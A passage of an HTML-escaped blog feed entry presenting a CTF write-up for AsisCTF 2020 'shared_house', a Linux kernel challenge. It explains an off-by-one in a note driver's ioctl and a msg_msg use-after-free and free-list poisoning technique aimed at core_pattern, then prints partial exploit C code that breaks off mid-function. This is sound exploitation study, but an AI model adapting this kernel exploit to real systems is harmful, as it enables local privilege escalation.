&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED004&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_to_user&lt;/span&gt;(req.data, note,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          req.size)) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd ==  0xC12ED004: read_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The vulnerability is obvious. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Off-by-one_error&#34;&gt;off-by-one&lt;/a&gt; in write_note.&lt;/p&gt;</description>
      <content>&lt;hr&gt;
&lt;h2 id=&#34;problem&#34;&gt;Problem&lt;/h2&gt;
&lt;h3 id=&#34;enviroment&#34;&gt;Enviroment&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;linux version: &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source&#34;&gt;&lt;code&gt;4.19.98&lt;/code&gt;&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;No SMAP&lt;/li&gt;
&lt;li&gt;No KPTI&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;features&#34;&gt;Features&lt;/h3&gt;
&lt;p&gt;This challenge provide simple device (it has only one function: &lt;code&gt;mod_ioctl&lt;/code&gt;). And the function is like following:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; __padding0[&lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;];
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;void&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;data;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;};
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uint64_6 &lt;span style=&#34;color:#a6e22e&#34;&gt;mod_ioctl&lt;/span&gt;(&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; file &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;a1, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; cmd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;__int64&lt;/span&gt; arg) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;request_t&lt;/span&gt; req;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;req, arg, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x10LL&lt;/span&gt;)) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;14LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x80&lt;/span&gt;) &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_lock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED002&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED002: delete_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED001&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED001: alloc_new_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (note) &lt;span style=&#34;color:#a6e22e&#34;&gt;kfree&lt;/span&gt;(note);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    size &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; req.size;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#a6e22e&#34;&gt;_kmalloc&lt;/span&gt;(req.size, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x6080C0LL&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note) &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED003&lt;/span&gt;) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd == 0xC12ED003: write_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_from_user&lt;/span&gt;(note, req.data, req.size))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    note[req.size] &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;  &lt;span style=&#34;color:#75715e&#34;&gt;// off-by-one if req.size==size
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;  } &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; (cmd &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xC12ED004&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;note &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt; req.size &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; size &lt;span style=&#34;color:#f92672&#34;&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;             &lt;span style=&#34;color:#a6e22e&#34;&gt;copy_to_user&lt;/span&gt;(req.data, note,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;                          req.size)) {  &lt;span style=&#34;color:#75715e&#34;&gt;// cmd ==  0xC12ED004: read_note
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&lt;/span&gt;    &lt;span style=&#34;color:#66d9ef&#34;&gt;goto&lt;/span&gt; ERROR;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0LL&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ERROR:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#a6e22e&#34;&gt;mutex_unlock&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;_mutex);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;22&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;vulnerability&#34;&gt;Vulnerability&lt;/h2&gt;
&lt;p&gt;The vulnerability is obvious. The &lt;a href=&#34;https://en.wikipedia.org/wiki/Off-by-one_error&#34;&gt;off-by-one&lt;/a&gt; in write_note.&lt;/p&gt;
&lt;h2 id=&#34;exploit&#34;&gt;Exploit&lt;/h2&gt;
&lt;p&gt;Since the off-by-one occurs in heap chunk, I decide to use &lt;a href=&#34;https://elixir.bootlin.com/linux/v4.19.98/source/include/linux/msg.h#L9&#34;&gt;&lt;code&gt;struct msg_msg&lt;/code&gt;&lt;/a&gt; and free list.
Unlike The free list is in middle and stored protected in latest kernel, it is in front and stored raw in the provided kernel.&lt;/p&gt;
&lt;h3 id=&#34;trigger-off-by-one&#34;&gt;Trigger off-by-one&lt;/h3&gt;
&lt;p&gt;Triggering off-by-one is simple:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_alloc_new_note&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;vuln_dev_write_note&lt;/span&gt;(buf, &lt;span style=&#34;color:#ae81ff&#34;&gt;0x20&lt;/span&gt;);  &lt;span style=&#34;color:#75715e&#34;&gt;// Trigger off-by-one
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;get-controlleduaf-msg_msg-chunk&#34;&gt;Get controlled(UAF) msg_msg chunk&lt;/h3&gt;
&lt;p&gt;In &lt;code&gt;struct msg_msg&lt;/code&gt;, the &lt;code&gt;m_list.next&lt;/code&gt; and &lt;code&gt;m_list.prev&lt;/code&gt; exist.
And they are connected with other messages by using double linked list.&lt;/p&gt;
&lt;p&gt;Because we can overwrite 1 byte after our &lt;code&gt;note&lt;/code&gt;, we can overwrite LSB of &lt;code&gt;m_list.next&lt;/code&gt; if the message is located after our &lt;code&gt;note&lt;/code&gt;.
My plain is &amp;ldquo;making dangling pointer in &lt;code&gt;m_list&lt;/code&gt; to free-ed message and make the free-ed chunk become our note.&lt;/p&gt;
&lt;p&gt;For example, initial messages (consider all messages locate consequently):&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| B
	  A --&amp;gt;|prev| E
	
	  B[msg 2] --&amp;gt;|next| C
	  B --&amp;gt;|prev| A
	
	  C[msg 3] --&amp;gt;|next| D
	  C --&amp;gt;|prev| B
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;And free middle message (msg 2) via &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1098&#34;&gt;&lt;code&gt;do_msgrcv&lt;/code&gt;&lt;/a&gt; and allocate it as our note:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| C
	  A --&amp;gt;|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3] --&amp;gt;|next| D
	  C --&amp;gt;|prev| A
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;Make invalid &lt;code&gt;m_list.next&lt;/code&gt; via triggering off-by-one:&lt;/p&gt;
&lt;pre class=&#34;mermaid&#34;&gt;
    graph LR
	  A[msg 1] --&amp;gt;|next| C
	  A --&amp;gt;|prev| E
	
	  B[msg 2 = our note]
	
	  C[msg 3; next is corrupted] --&amp;gt;|next| E
	  C --&amp;gt;|prev| A
	
	  D[msg 4] --&amp;gt;|next| E
	  D --&amp;gt;|prev| C
	
	  E[msg 5] --&amp;gt;|next| F
	  E --&amp;gt;|prev| D
	
	  F[msg 6] --&amp;gt;|next| A
	  F --&amp;gt;|prev| E
&lt;/pre&gt;
&lt;p&gt;With this connections, the &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1163&#34;&gt;unlink&lt;/a&gt; of &lt;code&gt;msg 5&lt;/code&gt; and &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msg.c#L1259&#34;&gt;&lt;code&gt;free_msg&lt;/code&gt;&lt;/a&gt; to it make dangling pointer to &lt;code&gt;msg 5&lt;/code&gt; in &lt;code&gt;msg 3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;After freeing &lt;code&gt;msg 5&lt;/code&gt;, the allocated note will be have same address with &lt;code&gt;msg 5&lt;/code&gt;.
Then we can make &lt;code&gt;limited_aar&lt;/code&gt; using &lt;code&gt;next&lt;/code&gt; in &lt;code&gt;struct msg_msg&lt;/code&gt;.
The disadventage of &lt;code&gt;limited_aar&lt;/code&gt; is 1. the first 8 bytes must be zeros (because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msgutil.c#L161&#34;&gt;&lt;code&gt;store_msg&lt;/code&gt;&lt;/a&gt;) 2. the read address will be freed (because of &lt;a href=&#34;https://elixir.bootlin.com/linux/v6.13.4/source/ipc/msgutil.c#L180&#34;&gt;&lt;code&gt;free_msg&lt;/code&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;But we can leak the address of &lt;code&gt;msg 5&lt;/code&gt;(UAF chunk) and kernel base only with &lt;code&gt;limited_arr&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;overwrite-free-list-and-allocate-arbitrary-address-via-kmalloc&#34;&gt;Overwrite free list and allocate arbitrary address via &lt;code&gt;kmalloc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Okay, now we can allocate arbitrary address by modifying free list in free-ed chunk.
Currently the &lt;code&gt;note&lt;/code&gt; (this is same as &lt;code&gt;msg 5&lt;/code&gt;) is freed and thus it has pointer to next free-ed chunk.
So overwriting it with &lt;code&gt;core_pattern&lt;/code&gt; address, allocating serveral chunks and ETC give us the &lt;code&gt;core_pattern&lt;/code&gt; as &lt;code&gt;note&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id=&#34;code&#34;&gt;Code&lt;/h3&gt;



  &lt;div class=&#34;collapsable-code&#34;&gt;
    &lt;input id=&#34;295763184&#34; type=&#34;checkbox&#34; checked /&gt;
    &lt;label for=&#34;295763184&#34;&gt;
      &lt;span class=&#34;collapsable-code__language&#34;&gt;c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__title&#34;&gt;AsisCTF2020Qual-shared_house-exploit.c&lt;/span&gt;
      &lt;span class=&#34;collapsable-code__toggle&#34; data-label-expand=&#34;Show&#34; data-label-collapse=&#34;Hide&#34;&gt;&lt;/span&gt;
    &lt;/label&gt;
    &lt;pre class=&#34;language-c&#34; &gt;
      &lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;poll.h&amp;gt;
#include &amp;lt;pthread.h&amp;gt;
#include &amp;lt;stddef.h&amp;gt;
#include &amp;lt;stdint.h&amp;gt;
#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;sys/ioctl.h&amp;gt;
#include &amp;lt;sys/ipc.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;sys/msg.h&amp;gt;
#include &amp;lt;sys/syscall.h&amp;gt;
#include &amp;lt;sys/types.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;

#define KERNEL_BASE_START 0xffffffff81000000
#define KERNEL_BASE_END 0xffffffffc0000000
#define KERNEL_BASE_MASK (~0x00000000000fffff)
#define IS_IN_KERNEL_RANGE(addr) \
  ((addr) &amp;gt;= KERNEL_BASE_START &amp;amp;&amp;amp; (addr) &amp;lt;= KERNEL_BASE_END)

#define MOD_PROBE_OFFSET (0xffffffff81c2c540 - KERNEL_BASE_START)
#define CORE_PATTERN_OFFSET (0xffffffff81c36c80 - KERNEL_BASE_START)

static void get_enter_to_continue(const char* msg);
static void fatal(const char* msg);

void get_enter_to_continue(const char* msg) {
  puts(msg);
  getchar();
}
void fatal(const char* msg) {
  perror(msg);
  // get_enter_to_continue(&amp;#34;Press enter to exit...&amp;#34;);
  exit(-1);
}

struct msg_msgseg {
  struct msg_msgseg* next;
  char data[0];
};
struct msg_msg {
  struct msg_msg *next, *prev;
  long m_type;
  size_t m_ts;
  struct msg_msgseg* next_data;
  void* security;
  char data[0];
};
struct msgbuf {
  long mtype;    /* message type, must be &amp;gt; 0 */
  char mtext[1]; /* message data */
};
int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag);
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag);

int send_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  memcpy(m-&amp;gt;mtext, data, size);
  m-&amp;gt;mtype = mtype;

  ret = msgsnd(msgqid, m, size, mflag);

  free(m);
  return ret;
}
int recv_msg(int msgqid, char* data, size_t size, long mtype, long mflag) {
  struct msgbuf* m = malloc(sizeof(long) + size);
  int ret = -1;
  m-&amp;gt;mtype = mtype;

  ret = msgrcv(msgqid, m, size, mtype, mflag);
  memcpy(data, m-&amp;gt;mtext, size);

  free(m);
  return ret;
}

#define VULN_DEV_NAME &amp;#34;/dev/note&amp;#34;
#define VULN_DEV_CONST_MAX_SIZE 0x80
#define VULN_DEV_CMD_ALLOC_NEW_NOTE 0xC12ED001
#define VULN_DEV_CMD_DELTE_NOTE 0xC12ED002
#define VULN_DEV_CMD_WRITE_NOTE 0xC12ED003
#define VULN_DEV_CMD_READ_NOTE 0xC12ED004

typedef struct request_t {
  unsigned int size;
  char __padding[4];
  uint64_t data;
} request_t;

static int vuln_dev_alloc_new_note(unsigned int size);
static int vuln_dev_delete_note();
static int vuln_dev_write_note(const void* data, unsigned int size);
static int vuln_dev_read_note(void* data, unsigned int size);

int vuln_fd = 0;
static int vuln_dev_alloc_new_note(unsigned int size) {
  request_t req = {.size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &amp;amp;req);
}
static int vuln_dev_delete_note() {
  request_t req = {.size = 0};
  return ioctl(vuln_fd, VULN_DEV_CMD_ALLOC_NEW_NOTE, &amp;amp;req);
}
static int vuln_dev_write_note(const void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_WRITE_NOTE, &amp;amp;req);
}
static int vuln_dev_read_note(void* data, unsigned int size) {
  request_t req = {.data = (uint64_t)data, .size = size};
  return ioctl(vuln_fd, VULN_DEV_CMD_READ_NOTE, &amp;amp;req);
}

int target_obj_size = 0;
int msgqid = 0;
void* fake_msgmsg = NULL;
int uaf_msgmsg_mtype = 0;
static int make_uaf_msgmsg(char* temp_buf) {
  char* buf = temp_buf;
  buf[target_obj_size - 1] = 0;
  for (int i = 0; i &amp;lt; 0x10; ++i) {
    memset(buf, i, target_obj_size - 0x30);
    send_msg(msgqid, buf, target_obj_size - 0x30, 0x10 - i, 0);
  }
  recv_msg(msgqid, buf, target_obj_size - 0x30, 0, 0);
  vuln_dev_alloc_new_note(target_obj_size);

  memset(buf, 0, target_obj_size);
  vuln_dev_write_note(buf, target_obj_size);  // Trigger off-by-one
  vuln_dev_delete_note();

  for (int i = 0; i &amp;lt; 0x10; ++i) {
    memset(buf, 0, target_obj_size);
    vuln_dev_delete_note();
    int t = recv_msg(msgqid, buf, target_obj_size, -(i + 1), 0);
    if (*buf == &amp;#39;A&amp;#39;) {
      return -(i + 1);
    } else if (i == 0x10 - 1) {
      fatal(&amp;#34;[-] Failed to find UAF msg_msg&amp;#34;);
    }

